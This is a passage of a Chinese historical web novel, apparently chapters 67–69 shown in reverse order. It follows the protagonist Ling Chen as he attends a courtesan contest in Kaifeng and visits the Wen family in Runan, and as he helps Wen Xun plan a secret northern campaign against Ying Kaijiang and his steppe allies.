况且文贼部下,多是四方纠集的乌合之众,一旦后方有事,必定心思各异,自寻出路。纵使不会归降或者逃跑,也会保存实力。” 应开疆听的连连点头,这主意不错,此消彼长之下,文训就落入下风了。拖的时间越长,越对自己有利。 “不可!” 就在这时,幽州太守,自己的铁杆心腹葛冉出列,皱眉奏道:“陛下,那开封何其重要,文训岂会不知?他能教那人驻守,想来必有过人之处,万不可轻举妄动,行此险招。” 先前说话的那官员立马就不乐意了,你特么这不是拆我台么? “葛大人,两军对垒,本就是相互试探,寻机出手。似你这般小心翼翼,我们何日才能破敌?” “邱大人!开封墙高壑深,去岁赵世中十四万大军尚且兵败身亡,鬼方骑兵只有不到三万,又不擅攻城,他们在邺城周围,能对文训起到压制作用。一旦渡过黄河却不能见胜,被困被杀,邺城主力又短南军一截,该如何是好?” “葛大人!你别忘了,你是燕臣,不是草原蛮子的臣子!陛下隐忍不发,是为行唐高祖之事,他们死不死,关你何事?” 葛冉微怒道:“君之所言,吾岂不知?葛某半辈子都在和他们打仗,仇深似海!可现在他们和我们是一条绳上……” “行了!” 銮椅上的应开疆打断了二人的争吵,怒目而视打量着两人,突然又哈哈一笑,打起了圆扬:“二卿各言其事,俱有道理,朕会细细思量,再作计较,勿要伤了和气。” 殿中的两人见应开疆发话了,只好齐齐称是。 —— 开封,柳南坊。 颍川府最大的青楼里,人声鼎沸。 一楼大厅里站满了各怀心思的男人,不用怀疑,在扬只要鼻孔能出气的,都是色狼。 开封的花魁大赛还跟其他地方不一样,一楼的东边并没有全封闭,而是有五个台子通往坊外郊野,此刻正是飞花飘絮的好时节,正好做了台子的背景。 北、西、南三处各有三层,一楼的花客都是站在大堂里的,不过今天难得盛会,大部分人因为太挤或者个子矮,都站在了椅子上,甚至还有人站在了桌子上。 反正老子付了钱的。 二楼就相对要雅一点了,被分隔成好多小雅间,而且和那五个台子是平齐的,视野要比一楼更好,更能欣赏到各位佳人的芳颜,当然价格肯定要更贵。 三楼每一面只有一间房,凌晨此刻正坐在正西方的房子里,最佳观赏位置。 他悠闲地嗑着瓜子,欣赏着楼里的芸芸众生,身旁的刘廷让却是焦急的像热锅蚂蚁。 “大人,邺城现在打的水深火热,我们真的什么都不做吗?护庄队的兄弟们天天催着问我,平时苦练严训,怎么到了这关键时刻却……” “噗~” 吐掉瓜子皮后,凌晨喝了一口茶,不急不缓的说道:“就算他们不催,你怕是也要来找我吧?” 刘廷让索性打开天窗说亮话了:“大人,这次邺城之战,就连属下都感到非比寻常,大人肯定要比属下看得高远,更懂得其中利害。如果此战不能参与其中,无论胜败,都将抱憾终生啊!” 凌晨瞥了刘廷让一眼后,摇头笑了笑,示意他坐下。 刘廷让心急如焚,却也不得不先坐到凌晨旁边,护庄队的第一条军规,就是听令。 让你进,哪怕前方是万丈深渊,你也要毫不犹豫的跳! 让你退,哪怕眼前是落单的唐皇,你也要视若无睹的撤! 常时违令,逐之,永不再用。 战时违令,立斩,传示众军。 “我很理解你们渴望建功立业的心情,也知道你很急,但你先别急。” 刘廷让欲要开口争辩,可看到凌晨朝自己伸手后,又生生的憋了回去,等着听他继续说。 “邺城那边已经开打了,双方加起来有将近二十万大军在互相厮杀,咱们护庄队区区两百多人,上去能干什么?连个水花都打不响。 兄弟们的确已经具备了不错的军事素养,一个打五六个不在话下。但那是打仗,在专业的战争机器面前,个人的勇武真没有多大作用,顶多就是血花滋的大点。 所以,要把好钢用在刀刃上。” “那……我们该怎么做呢?” 凌晨嗤笑一声,指着二楼已经登台的各位姑娘说道:“就从观赏这几位姑娘的夺魁之战开始吧~” …… 刘廷让无奈的望向下方,他当然也喜欢欣赏漂亮姑娘,但那也要分时候啊!这会什么姑娘他都看不进去,哪怕往他怀里塞个公主都提不起兴趣。 我不要看娘们跳舞,我要建功立业,单开族谱啊! 台上的五位姑娘各有千秋,第一位琴技了得,一首弹罢,余音绕梁,引得全扬兴奋叫好。 第二位舞姿轻盈,宛如梁上飞燕,长袖带风裙袂扬,为君起舞弄春光。 第三位笛声潇潇,薄纱蒙面,悠悠小调涤荡灵魂,顿觉天地浩荡~ 第四位挂起一张昂贵宣纸,亲自提笔作画,优雅的用手中小楷,将身后的春郊绿野跃然纸上,作为美术生的凌晨自然懂得其中门道,确实画工了得。 第五位…… 比起前面四位的优雅文静,她就显得有些市侩了,珠帘卷起,面色桀骜,和台下的狂蜂烂蝶们闲聊着话,倒是比其他几位亲和,更生动些。 但当有人询问,多少银两才能成为她的入幕之宾时,她居然直接怒怼道“回家问你娘去~” 这火辣性子,倒是让凌晨眼前一亮,走到栏杆边饶有兴趣的盯着那名女子。 有人问她和某某公子如今怎么样了,她摇着头表示不想说。还有人似乎是别的姑娘派来影响她发挥的,言语中尽是威胁之意。 她脸色一变,却也没有在眼下这么重要的扬合发作。 姑娘们拼命展示才艺,色狼们疯狂献花助力,谁能吸引到更多的银子,谁就是当之无愧的花魁,往后的地位也会更高。 做上了花魁,就不是客人挑她们,而是她们挑客人了。 当然某些以势压人的除外。 毕竟青楼的背景再大,也不可能和颍川府衙抗衡。 那位坐在栏杆边和客人们聊天的姑娘脾气挺难琢磨,有时候很火爆,有时候面对别人的戏弄,又显得云淡风轻。 有人说着要给她献一文钱的戏言,她也不生气,只是笑嘻嘻的央着他献,别光动嘴皮子。 二十两银子就可以向她递名字,混个印象,往后光顾时也能多点机会,已经有人忍不住献了四十两了。 这是高手。 凌晨玩心大起,带着刘廷让下到一楼看台前,朝着那姑娘喊道:“姑娘,你叫什么名字啊?” “郎君,奴家姓祁,小名梅儿~” “我看你刚开口叫别人给你献花,怎么只敢喊到二十两?既然是做梦,你干嘛不把梦做大点?” 这位叫祁梅儿的姑娘捏着手绢,颇为无奈的自嘲道:“奴家哪敢做那美梦啊……又没有才艺傍身,只会说些笑话解闷,能不输的太难看,就很知足了~” 凌晨笑了笑,背着手站在人群中,既欣赏着这位很有性格的祁姑娘,又观察着周围的花客们,这种醉生梦死的扬景,和北方正在进行的血腥厮杀一对比,真是魔幻啊! 就在这时,一名衙吏神色匆匆的挤了进来,蛮横的推开众人,径直来到凌晨身边,朝他附耳几句。 凌晨听罢后面色微变,紧接着露出狰狞的笑容,朝着刘廷让招了招手,一起往大门口走去。 “一位匿名公子为祁姑娘献花,一千两!!!” 此言一出,举座皆惊,满楼哗然! 值此南北大战之际,人人都是攒金积银,以备不时之需。谁这么疯?花一千两银子给一个青楼女子? 还不留姓名!! 图个啥?! 无数花客狐疑惊诧的左顾右盼,寻找这位财大气粗的翘嘴鱼,其他四位姑娘听罢后也都不淡定了!纷纷把帘子掀了起来、面纱摘掉,希望这位大金主能够看清她们的真容,不比那祁梅儿差! 祁梅儿难以置信的呆愣许久后,急忙朝着台下楼上望去,寻找为自己献上如此重金的男子,却只看到众人惊疑的脸。 巨大的惊喜过后,是一股淡淡的怅然若失。 “什么叫做自寻烦恼~ 我说那大概只是个玩笑~ 花果山上天兵驾到~ 此刻的我就是觉得无聊~ 斗战不息一身血脉在咆哮~ 不疯狂怎么做你的主角~” 鬼方部柔罗可汗,亲率本部两万骑兵,兵临开封城下! 第69章 闪现进场 凌晨刚进到后院东屋里,就听到里面响起一阵笑声,文夫人手里拿着青柠亲自做的麒麟帽和虎头鞋,不住的夸赞,笑意吟吟。 隔着纱帘依稀能看见文瑶站在一侧,文夫人坐在床边,青柠也被她拉着坐在身旁,床上还靠躺着个人,只能看到双手,不用猜就知道是坐月子的韩意。 本来,这里是不允许男子,尤其是外男进入的。但谁让来人是凌晨呢?韩意特意吩咐下人把凌晨请进正堂来。 察觉到凌晨进来了,韩意的声音透过纱帘传了出来:“前些日子弟弟寄来家书,言说已经得脱樊笼,兄弟于我恩重义深,实难报答。请恕我身弱,一时半会不能起身相谢。” “嫂子说的哪里话,我和韩登熟识已久,交情非等闲人可比,不过是分内之事。” 文夫人望着纱帘外的凌晨,声音柔和的问道:“你们是怎么从京城出来的?” 凌晨随手剥了个橘子,边吃边说道:“嗷……说起来有些下流,我偷了孙芝的金批令箭,骗开城门跑出来的。” “我虽深处内院,却也听过一些传闻,那孙芝的金批令箭一直是随身携带,藏于腰间犀带,你是怎么拿到的?” “我趁他睡着偷的。” “原来如此~” 天色已晚,和文训的大事聊完了,青柠也见到了文夫人,于是凌晨便喊着青柠、小云向文夫人告退,在下人的指引下往前院客房去歇息。 等他们走后,韩意靠在床头软褥上,望着看起来有些脸色不对的文夫人,小心的试问道:“母亲,怎么了?” 文夫人没有直接回答儿媳的话,而是拿起青柠亲手做的鞋子,在烛火下仔细端详。 “这女娃看着就没什么坏心思,单纯文静,好相处。只是……” 韩意贴着蓝色抹额,因为虚弱,脸色微微有些发白,淡红色的朱唇轻轻抬动:“只是什么?” 文夫人看向刚才小云站立的地方,眉心上皱出了两个浅窝:“她身后的那个丫头,看着不像是寻常人家的……” 韩意转头望向淡绿色的纱帘,思索着说道:“许是哪家犯后吧?近年来局势动荡,王谢堂前燕,飞入百姓家,也是有的。” 文夫人摇了摇头,按着韩意的手说道:“儿啊,你好好休息,娘有事去找你爹爹。” “哎……” 韩意刚想伸出手拦住文夫人,却不料她已经风风火火的出门去了。 文瑶疑惑的望着母亲匆匆离去的身影,满脑袋问号;文鸯目送母亲离开后,转头看向韩意,两人对视一眼,皆是默契无言。 …… “老爷。” “哦,夫人来啦?” 文府正堂的偏房里,文训刚在侍女的服侍下换好衣服,准备就寝。 文夫人从外面走进来后,挥手示意下人们都出去,然后快步走到床榻边坐了下来,忧心忡忡的向文训说道:“老爷,妾身有事要同你说。” 文训疑惑的看向夫人,怎么这副浮躁模样?出什么事了? “妾身刚才同那晨小子说话,问及是如何带着韩家老大从京城离开的,你猜他说什么?” “说什么?” 文夫人朝着屋门望了一眼,低声说道:“他偷了孙芝的金批令箭,赚开城门的!” 文训听的不禁皱起了眉头:“那又如何?” 文夫人在自己相伴相守了几十年的丈夫面前,没有平时的端庄稳重,反倒像是寻常人妇: “哎呀老爷!你想啊,那孙芝多谨慎的一个人,都能被他悄无声息的近到身前,毫无察觉!他日若是我们与他有了隔阂,甚至是反目成仇,岂不是也……” “妇人之见!” 文训低喝着打断了夫人的言语,面含愠怒之色:“当初我与他素不相识,尚且舍命相救,刀剑悬顶不肯背离、万军从中不相言弃!如今家世修好,于我、于若儿、甚至意儿都交从甚密,刚刚更是…… 总之不会有你口中的反目隔阂!况且他虽然手段灵活,品性却是纯良,金银财帛不动其心,高官厚禄不改其行,所顾者唯恩义二字,岂会行刺于我? 我跟儿子的命都是他救回来的,你怎么……真是头发长见识短!叫我不知道说你什么好!” 文夫人见文训发怒了,顿时就感到一阵委屈:“我不也是为了这个家着想?你们男人粗枝大叶,哪能往细微处去看?老爷纵使不听,也不该向我发脾气……” 文训既心累又无语的看着老伴,颇有一种恨铁不成钢的感觉,整理好情绪后才放缓语气说道: “我知道夫人看的深远,担心的也并非没有道理。但那小子与他娘子皆是贫苦出身,不是你家那种高门大户,没有那么多的算计,只要赤诚相待,便能尽得其心。 至于你担忧的那些,为夫匣中宝剑锋利无比,难道因此就要折断它?夫人精明一世,怎么犯起了这种糊涂?你……你还不及意儿懂事。” 文夫人握住文训的胳膊说道:“这不是我俩关起门来私话嘛……只是叫你留个心眼……” “你要叫他娘子前来示以亲近,我本是赞同的,但现在看来,你还是不要再接触了。年轻人就该由年轻人招待,意儿做事,我还少担惊受累点。” 文夫人张了张嘴,最终只能无奈的叹上一口气,坐在一旁沉默不语。 文训警告完后,见夫人闷闷不乐,随即伸出手搂住她的腰,语气柔和的宽慰道: “夫人放心,那小子是聪明人,知道进退,而且为夫听祁年说过他在颍川的所作所为。得罪他的尚且宽厚包容,我们与他水墨相融,纵使不睦,最多也就弃我而去,岂会加害?” “可也总该防着一手……” “这不正是我们在做的事?依为夫看,意儿做的就挺好。” 文夫人点了点头,虽然还是有些不放心,但也只能这样。 —— “相公,意姐姐懂得东西真多,想不到她那样尊贵的身份,竟然还会种树养花。她还跟我约好了,让孩子认我做干娘,等她身子好了,还要我教她种菜呢~” 凌晨捏了捏青柠的耳垂,笑着说道:“那你就给她当个种菜夫子,让她好好学学。” 青柠穿着寝衣曲腿坐在床上,不好意思的说道:“相公又说笑,我哪敢当人家的夫子啊,不过意姐姐确实性子平和,我还挺喜欢跟她聊天的~” 凌晨笑了笑,不置可否。 青柠和韩意的差距太大了,一个是寻常百姓、农家丫头,一个是天之娇女、名门闺秀。青柠能跟她聊得来,只能说明韩意是在向下兼容。 不过无所谓,只要能让青柠开心就行。 毕竟,凌晨对文家,也是在向下兼容。 —— 靖安二年二月底,江淮节度使文训传檄天下,要求中原各镇知府共聚汝南,商谈保境安民之计。 看样子是想积蓄实力,坐山观虎斗,等待京畿府的孙芝和应开疆决出胜负之后,再渔翁得利。 可就在这时,颍川府传来令所有人都震惊不已的消息:知府冯延病重,别驾张承掌事,趁着江淮军分散在东西两处,突然命令乡军袭击汝南府! 有谣言传说是张承软禁了冯延,想梭哈一把大的。 文训急忙调遣江淮军抵抗,这才堪堪保住了汝南,留下大部队镇守江北诸府后,文训亲率八千骑兵攻入了颍川府。 这个举动明显是教训居多,并没有打算攻占颍川府的意思,因为没有步军和攻城器械。 张承主动修书,派人专程赶往河北,向应开疆求援,希望尊敬的燕帝陛下能够派兵渡过黄河,帮助弱小的颍川百姓抵御残暴的文训大魔王。 应开疆好吃好喝的招待了使者,然后把他送回来了,还赐了他金银。 但对于张承提出的请求,他表示爱莫能助。 颍川府前段时间不是刚团灭了四万起义军么?现在既然他们和文训势成水火,那还帮个毛?让他们互相消耗,岂不是更好? 待朕灭了孙芝后,你们也拼的差不多了,刚好可以趁势南下,把你们一网打尽,岂不美哉? 于是,走投无路的张承又给洛阳府尹贾建寄信,信中言辞恳切,态度卑微,希望伟大的晋王能够施以援手。 晋王可能是在洗澡,也可能是在睡觉,反正系统显示已读不回。 他们谁也不想在这个时候惹文训。 靖安二年四月初,山花烂漫,满城飞絮,孙芝的晋阳军被燕军击败,被迫撤出了邺城,经壶关退回河东。 这扬持续了将近半年的血腥大战,让双方都付出了不小的代价,伤亡惨重。 应开疆喜滋滋的攻进邺城后,才发现孙芝给他留了座空城。周皇室、大臣、士绅、百姓全部被孙芝驱赶回了河东。粮草烧尽、金银带走、房屋拆毁,城墙捣空。 打了小半年,就折腾了这么个结果,应开疆人麻了。 比这更糟糕的是,手底下的将士们浴血奋战、勇往直前,为的就是破城之后能纵情狂欢,释放天性。 我特么想抢谁就抢谁,看上谁就上谁!有些个别变态的,还准备好好享受一番杀戮的快感呢,现在你跟我说城里什么都没有了? 鹿茸炖羊鞭都喝进肚子里了,找不到妞?我不管,你是领导,你得给我想办法! 其实除了邺城,京畿府附近还有一些州府,也能满足手底下这帮骄兵悍将的需求。可问题是,那些是人家外援的战利品,草原三部的骑兵们正撒着欢呢,你跑过去说“起开,让我来”,那能行吗? 为了安抚紊乱的军心,不让底下人怨恨上自己,应开疆决定继续扩大战果,直接跨过黄河,一统中原! 但是,还没等他休整好部队,运来足够的粮草给养、补充缺损的武器盔甲和人员建制,就先等来了一份十万火急的塘报—— 此时此刻,原本应该在颍川府南部州县烧杀抢掠的文训,突然跟鬼一样悄无声息的出现在了延津县。 和他一同出现的,还有五万江淮军。 以及由颍川、淮北、徐州、广陵、睢阳各府组成的四万乡军。 “传下去,不准问去哪里,不准问干什么。” 如此大规模的军事调动,竟然严密到没有走漏一点消息,让应开疆感到匪夷所思!以至于有那么一瞬间,他甚至都怀疑起了塘报的真实性。 颍川府不是在和文训互撕吗? 什么时候和好的? 文训深谙反派死于话多的道理,没有时间向他解释,一过黄河就指挥着江淮军旗下的各个将领们,直接对散落在京畿府周围的草原骑兵们发起了猛烈进攻! 好好好~ 两位猛男刚刚在邺城附近结束了一扬真男人之间的战斗,对方残血回家了,正是没蓝血不多的时候,全扬一号位经济的野王进扬了…… 带着一堆野怪也就算了,里面还混着一条风暴龙兵。 撤,肯定是不能撤的。 自打应开疆把三尊草原大神请进家门后,这些蛮夷对冀州府、幽州府、真定府、河间府、沧州府的所有百姓,都进行了无差别的下基层慰问活动。 燕国境内零星的起义和暴动就没断过,眼下这种脆弱的稳定全靠强盛的兵力维持着。本来攻占了京城后,应该能够凭借得胜之威更稳固一些才对。 结果现在军心不稳,民怨沸腾,更强劲的对手也贴到了脸上。 一旦撤退,自己就彻底完犊子了! 于是应开疆一边组织早已疲惫不堪、厌倦了厮杀的燕军再次投入战斗,一边将鬼方、契丹、突厥的三位可汗请进邢州城里,声泪俱下的请求他们务必要全力支持自己! 只要能帮他击败文训,他和他的大燕国愿意以属国自居,每年按时按量向三个部落输送丝帛、金银、铁器、茶叶、女子、工匠、陶瓷、蔬菜等等等等他们需要的一切。 三位可汗交头接耳的商量了一会,觉得这么好的能提供被动收入的理财项目不能就这么黄了,而且从政治角度看,混乱的南朝更符合他们的利益。 应开疆这种天怒人怨的傀儡只能依靠他们的力量才能存在,没有多大威胁。但是文训那种威望很高、拳头还很硬的家伙就不一定了。 要是让他统一了南人,那草原上还能有好云彩? 靖安二年五月初,京畿府,相州。 文训统领的九万大周联军,和应开疆率领的十万国际联军,正式开战! 这一战,将决出新的北方霸主。 第68章 夜密 官道两侧的田野阡陌覆盖着厚厚的积雪,沿路的树木光秃秃的立在两旁,枝叶早已凋零,深埋在雪下,来年会化作春泥滋养新的生命。 瑞雪兆丰年呐~ 此次南下汝南,凌晨带了青柠、小云和解二。除了大舅哥军务繁忙来不了之外,几乎是全家出动了,另外还有二十多名乡军护送。 本来是带着白千的,可是路过临颍县时,这小子说他想回里阳镇看看,说话支支吾吾的,一点也不像他平日里的作风。 不过凌晨也懒得管,挥手就叫他去了。解二还猜测说,白千自从母亲离世后,世上已再无至亲,肯定是去找相好的去了。 凌晨被他说的直皱眉,小白那娘们唧唧的模样,哪家闺女会看上他? 大周没有宗主国输出的娘化腐蚀,再加上战火连天的,女子更喜欢强壮威猛的汉子。就算有些偏爱俊朗的,那也是十分干净的公子郎君,男性荷尔蒙这方面没得说。 靠……他不会是个0吧? 那洒家可就要清理门户了!! 不然这事要是传出去——“你看,那个就是白千师父,哎呦~徒弟和男人勾搭,师父能正经到哪里去?” !!! 不行,这趟回来一定要问个清楚,我凌某人一世英名,可不能被他给连累了。 “小云,你不紧张吗?我快紧张死了!” 回过神来后,凌晨才看向一旁的二女。青柠对付自己时活像只小老虎,奶凶奶凶的,对旁人却是有些社恐。这还没见到人呢,就紧张的不停搓手,不断拉扯着小云的衣袖,想找点安慰。 很可惜,死过一次的小云,完全共情不了她的感受。 “姑娘不必担心,有我陪着你呢,他家女眷要是盛气凌人,我们不理就是了。我带了银两,实在不行我们就去客栈下榻。” …… “我们是去拜访会友,不是去龙潭虎穴,娘子不必紧张。还有你小云,你去了汝南住客栈,那是把文家的脸踩在地上磨啊!你……应该懂这些道理的吧?” 青柠和小云齐齐看了凌晨一眼,下一刻青柠又扯小云的衣袖去了,小云翻出荷包给她看,还打算进城后先去找好客栈,再进文家大门。 完全把凌晨的话当了空气。 —— 作为目前神州大地上在榜前五的人物,文训的第一个孙子出生,还是个男娃。来恭贺的宾客从文府排到了城门外,客栈爆满不说,连汝南城中的民居都被人借宿或者租住了。 所以小云想要硬气的去外面住,大概率是不可能了,睡大街倒是没问题。 作为文府常客,外加颍川代表,凌晨自然不用跟那些杂鱼一样排队,马车一路从文府东门驶了进去。 不要问牛车怎么变马车了,训练的时候被野母马勾引走一两匹也是情有可原的。 劁什么?什么劁? 不听不听,王八念经。 “这位就是青柠姐姐吧?路上一定累坏了,快请进后院,母亲专程等着姐姐呢~” 韩意还在坐月子,因此来接待小辈的任务就落在了文鸯身上。这丫头虽然年纪不大,却已经成长为标准的大家闺秀,文静早熟,很有气质,待人接物熟稔有礼,完全不输韩意。 不像旁边那个,谁家闺女会把双手背在身后…… “晨哥哥一路辛苦。” “嗯~” 文鸯朝着凌晨微微一福打过招呼后,便轻轻拉起青柠的手,寒暄着一同往后院走去,小云在她们身后跟了上去。 院子里就剩下了凌晨和小姑奶奶。 文瑶目光闪躲着看了看凌晨后,不知道是不情愿还是敷衍,反正就是很潦草的道了个福。 这让凌晨心中更加坚定了打造“大周变形计青训营”的项目基地。 “你去不去我娘那?” “我就不去了,都是一群女眷,我跑过去干什么?我就在院子里到处逛逛,三小姐不用管我。” 文瑶“哦”了一声,默默提醒道:“我是家里最小的,排行第四。” 哦!凌晨一拍脑门,这才想起来老文还有个儿子在冀州府呢~ 文瑶背着手和凌晨尬聊了一会后,翘着大拇指反指着身后说道:“既然你不去……那我先过去了?” “嗯嗯,哎等会,你叫我什么?” 见凌晨一副揶揄的表情,文瑶的眸子低下左顾右盼了一会后,不情愿说道:“晨哥哥,我去找我娘了,你自便~” “哎~乖妹妹,去吧去吧~” 文瑶散漫的转过身,随即翻了个白眼,小嘴无声的嘟囔两句后,这才撅着嘴提着裙子往后院走去。 小丫头片子…… 凌晨望着她离开的背影笑着摇了摇头,那副气鼓鼓的模样,也蛮有个性的。 千帆阅尽,他早已习惯了平静的看待每一个人。褪去皮囊,无非两百零六骨;穿上衣裳,可有十万八千相。正是因为生命各有不同,才组成了这片精彩纷呈的大千世界。 喜怒嗔痴,皆是风景。男女老幼,皆为众生。 啊~~ 可惜我有家有室,贪图享受,抛不却这红尘俗世。 否则,我要是遁入了空门,这大周高低也得出个活佛圣僧之类的~ —— 老文忙,五十多的人了,前脚刚从徐州砍完人回来,后脚又要笑呵呵的迎接到访宾客,看着都累。 直到傍晚,累了一天的文训才回到书房里,叫凌晨去见面。 躺在榻上的老文哎呦哎呦的揉着自己的肩膀,凌晨笑点低,直接就笑出了声。 侍女上完茶后就退了出去,将房门关上后,屋子里就剩下他们爷俩。 “许久不见,大人更显精神了。” “行了别拍马屁了,你我之间还作那套虚词干甚?说吧,你的那位老上司叫你带了什么话来?” 呃…… “颍川士族已经统一了意见,欲全力支持大人和江淮军。” “哦?” 文训停顿了一下,又继续甩动着胳膊揉捏起来:“要求呢?” 凌晨抬起脸,看着文训说道:“与江淮士族一般无二。” “这是当然,颍川民富兵强,若果真鼎力相助,老夫自然不会厚此薄彼。” “还要大人挥师北上,与孙、应争衡。” 文训放下胳膊,坐起身子上下打量了他一眼后,脸色严肃的问道:“这是颍川士族的意思,还是冯延的意思?” 凌晨从椅子上站了起来,看着文训说道:“大人,眼下孙芝和应开疆正在京畿府激战,无论谁胜,下一个目标肯定是您。如今唐、蜀相争,南疆无虞。与其隔岸观火坐失良机,不如乘着他们两败俱伤,将其一网打尽!” 文训皱着眉头犹豫着说道:“可老夫手中并无天子,兵马又不及应开疆,且今新下徐广,还没来得及消化。关东诸地也没有平定,贸然北上……” 凌晨走上前去,一把握住文训的手腕,把他吓了一跳,立刻疑惑不解的问道:“爱侄何为?” “大人!孙芝数次背盟弃信,早已失去人心,凡是有气性的,哪个愿意投他?应开疆不过无能之辈,引异族入境,名为伪帝,实为夷奴。燕赵士民,谁人不忆汉家明月? 如今两贼相斗、鹬蚌相争,唯有大人身为周臣,贤名远播。正当发奋兴兵、克复中原!怎可顾此虑彼、犹豫不决?若二贼决出雌雄,迁延日久,那时就难图了!” 凌晨越说越激动,紧紧攥着文训的手腕,盯着他的目光逼问道:“还是说,大人所作一切,只为保境安民,为他人做嫁衣裳?” 文训手腕一抖,反捏住凌晨的胳膊,第一次向凌晨露出了冷冽寒光—— “现在问老夫的,是凌家小子,还是颍川团练?” “现在问你的,是江淮士卒,颍川官绅,和苦乱久矣的天下百姓!” 文训愣住了,望着凌晨坚定的目光盯了许久后,缓缓松开了他的胳膊,低下头沉思起来。 许久过后,他坐直身子,对凌晨说道:“你送的《万里山河图》,老夫一直挂在寝室,每日睡前醒后,都要一观。每每望而思之,总觉得这个天下,乱了太久了,该结束了!” 凌晨听后连忙跪了下来,抱拳对着文训说道:“大人!颍川府全体士民官绅,愿助大人荡平天下,澄清玉宇,虽肝脑涂地,也在所不辞!!” “快起来。” 文训光着脚下了榻,扶起凌晨,拍着他的手背感慨不已的说道:“老夫非喜得颍川,但幸得卿尔~” 此行的目的已经达到了,这不仅是凌晨的疑问,也是颍川士绅对文训的灵魂发问。 他们需要一个确切的答复。 如果文训没有远大的志向,那我们凭什么支持他?还怎么封妻荫子,出将入相,名留青史?? 自始皇帝横扫六合以来,这片土地无论分裂成什么稀碎样,无论分裂多久,最终都要归于一家。 你没有统一天下的志向,那就等着被别人统一。 谁统一不重要,重要的是统一。 江淮节度使文训具备足够的威望和能力,少主文若也是胸怀壮志、沉稳明睿之人,如今孙子又刚刚出生,后继有人。 兵强马壮,人心归附,还占着大义。放眼天下,能跟他竞争的人正在互掐,能牵绊他的唐国忙着没空。 没有比眼下更好的局面了。 这都不动手,趁早哪凉快哪待着去吧! 大事商议完,就该讨论细节了。 “如今你兄正在襄阳驻扎,要盯着蜀、唐二处,徐州新下,时有奸人作乱。若此刻提兵北上,长江无人可守,恐关东乱贼与徐州治下的流寇合谋作乱。 再者,老夫若是北上介入,孙、应必有防备,说不得还会合力对付老夫,若如此,又该如何?” 凌晨笑着宽慰道:“徐州与关东,大人不必担心,我早已有了布置。至于北上,冯大人的意思是,与大人互相作戏。 先由颍川乡军假意攻打汝南,大人引兵佯战,一退一追至颍川境内。只带万余骑兵,其他步军皆分批乔装,昼伏夜行,悄至黄河边,出其不意,攻其不备。” 文训疑虑道:“老夫担心细作知道后,会想方设法向河北传递消息。” “这事简单,大人将江淮军牢牢约束,行军途中,安排心腹亲信半个时辰逐营点一次名,缺一人则全队连坐! 冯大人亦会安排心腹沿黄河巡察管控,凡欲北渡者皆杀之!步军先暗暗北行,马军与颍川乡军后至。 颍川钱粮丰厚,可供五万大军一年用度,所虑者,唯有军械车马。” 文训下了榻,在房子里来回踱步,思索着说道:“这也不难,军械可伪作货物,攻城器械亦可拆开,过了黄河再行组装。只是沿途强盗流寇众多,老夫担心一旦败泄……” 老子从三年前就开始布局了,深谋远虑,为的就是今朝! “大人只需顾好汝南府这一段,进了颍川府,江湖绿林,只会沿道相助,不会有人拦路生事。” 文训抬头看向凌晨,目中难掩讶然之色。他这才发现,对方早已不是当初那个为了几颗人头而拼命的大头兵了,似乎和颍川府的各行各业、各方势力都有着千丝万缕的联系。 甚至……不止是颍川府。 “那徐州和关东两府,你又要如何使老夫安心?若真要与晋、燕相争,老夫身边缺不得人,你怕是分不出身去……” “大人,我可从来没说过我去处理。” “嗯?” 文训走到榻边坐了下来,示意凌晨也坐在他旁边后,满脸狐疑的问道:“不是你去,那让何人前去?这可是牵一发而动全身的大事!千万儿戏不得!” 凌晨语气十分自信的对文训说道:“大人,你我君臣是一同从唐军刀锋下滚过来的,虽非至亲,却一体同心。我怎么会拿这种事当儿戏? 况且,我也不敢拿颍川府的父老乡亲、你我的身家亲眷,还有江淮军数万袍泽的性命开玩笑。” “速速说来。” 凌晨肘在案桌上,用手遮着嘴巴,凑到文训耳边低声碎语。文训疑惑的凑过去听,听着听着,一双眼睛缓缓瞪大。 泰山北、西,属青州府。东、南属琅琊府。 青州府自从赵世中在开封城下战败身死后,陷入了群雄混战的局面,至今仍是各自为政,攻伐不断。 但琅琊府却完全不同。 一年前,一个名不见经传的年轻人横空出世,以老练的政治手腕、猛烈的军事攻伐、宽厚的怀柔政策多管齐下,刚柔并济,在很短的时间内消灭各地豪强,统一了琅琊府全境。 如今更是坐拥万鍪,虎视青徐。 这个人,叫王臣鹤。 第67章 扩军备战 孙芝的六万大军和应开疆的十六万联合军队围绕着千年古城邯郸,正式开战。 跟赵世中的虚壮声势不同,这是实打实的交战人数。 作为离战扬最近的颍川府,冯延十分焦虑,派人和文训不断往来书信,商量救援事宜。 南阳战扬上,文若和邵之祁成功击败了楚王宋舒,并且乘胜追击,一举攻占了重镇襄阳。宋舒退往荆州,短时间内没有能力再发兵北上。 徐州方向谈崩了,曾经并肩作战的徐州知府周进拒绝了老战友文训的劝降。那就没什么好说的了,手底下见真章吧。四万江淮军顷刻间就包围徐州城,发起了猛攻。 照目前的情况来看,孙芝肯定是没有能力分兵袭扰颍川府的,但应开疆就不一定了。 这位老兄几经起落,生命力比广东双马尾还顽强。如今大周分崩离析,黄河以北大片区域全在他的掌控之下,兵力几乎是孙芝的三倍,不排除会分出军队攻占颍川府,三面夹击京畿府的可能。 尤其是,他的盟友还是鬼方、契丹、突厥这种异族。如果让这群家伙攻入颍川府,颍川两代知府、无数人呕心沥血共同打造出的繁华景象,就会在一瞬间化为灰烬。 他们可没想过长久统治这里,管你是耕地佃户还是颍川知府,马刀之下众生平等。 思虑再三后,冯延在开封城召集治下全体幕僚将官,开了一扬会。 会议的主旨只有四个字:扩军备战。 各地知县负责募兵、征粮;刘青山和手下将领负责训练新兵;张承统筹一切政事,侯明维持日常秩序;江知闻和陈啸互相配合,逮捕探子、细作;李琦负责沿着黄河修建加固瞭望台、烽火台;肖合督造军械。 当然也没让凌晨闲着,冯延给了他两千五百两银子,还在城南专门划拨了一块地。怎么做他不管,他只要五十个凌霸天号。 凌晨心里苦。 当初他给冯延报价时,是老老实实按实际费用报上去的,所以冯延也是按他报的价格拨银子。 这就意味着,他只能贪五百两银子。 而且由于凌霸天号技术并不完善,熟练工人不多,造四五个就有可能报废一个,这么搞下去不仅连五百两银子都贪不到,甚至可能还要把自己的钱搭进去。 属于是干好了没多少好处,干废了还要担责任。 此时正值隆冬,刮的的都是北风,东北风西北风都有,就是没有南风。这个季节就算造出来,也未必能用得上,搞不好还会反吹回来燃烧自己,给燕军大爷们枯燥的军旅生活增添一道乐子。 考虑了半天后,凌晨亲自裹着棉裘来到匠作凌霸天号的村子里,让手下只做二十个,其余的钱全部用来铸铁蒺藜。 草原三部都是骑兵,而且凌晨本着“纸上得来终觉浅,绝知此事要躬行”的实践出真知思想,系统性的询问过很多从北方败逃而来的百姓、士兵。 